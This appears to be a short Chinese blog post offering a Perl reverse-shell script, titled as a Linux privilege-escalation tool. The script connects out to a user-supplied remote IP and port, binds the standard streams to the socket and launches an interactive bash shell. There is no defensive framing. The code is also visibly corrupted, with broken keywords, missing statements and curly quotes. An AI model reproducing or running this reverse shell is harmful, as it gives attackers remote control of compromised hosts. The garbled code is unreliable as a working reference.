linux下提权反弹脚本

linux下提权反弹脚本!代码如下
#!/usr/bin/perl -w
#

use strict;
use Socket;
use I:Handle;

($#ARGV+1 != 2){
pr “$#ARGV $0 Remote_IP Remote_Port
“;
exit 1;
}

my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];

my $proto = getprotobyname(“tcp”);
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));

my $shell = ’/bin/bash -i’;

(SOCK, AF_INET, SOCK_STREAM, $proto);

STDOUT->autoflush(1);
SOCK->autoflush(1);

connect(SOCK,$pack_addr) or die “can not connect:$!”;

open STDIN, “<&SOCK”;
open STDOUT, “>&SOCK”;
open STDERR, “>&SOCK”;

pr “Enjoy the shell.
“;

system($shell);
close SOCK;

exit 0;
把以上代码保存为*.pl

评论关闭。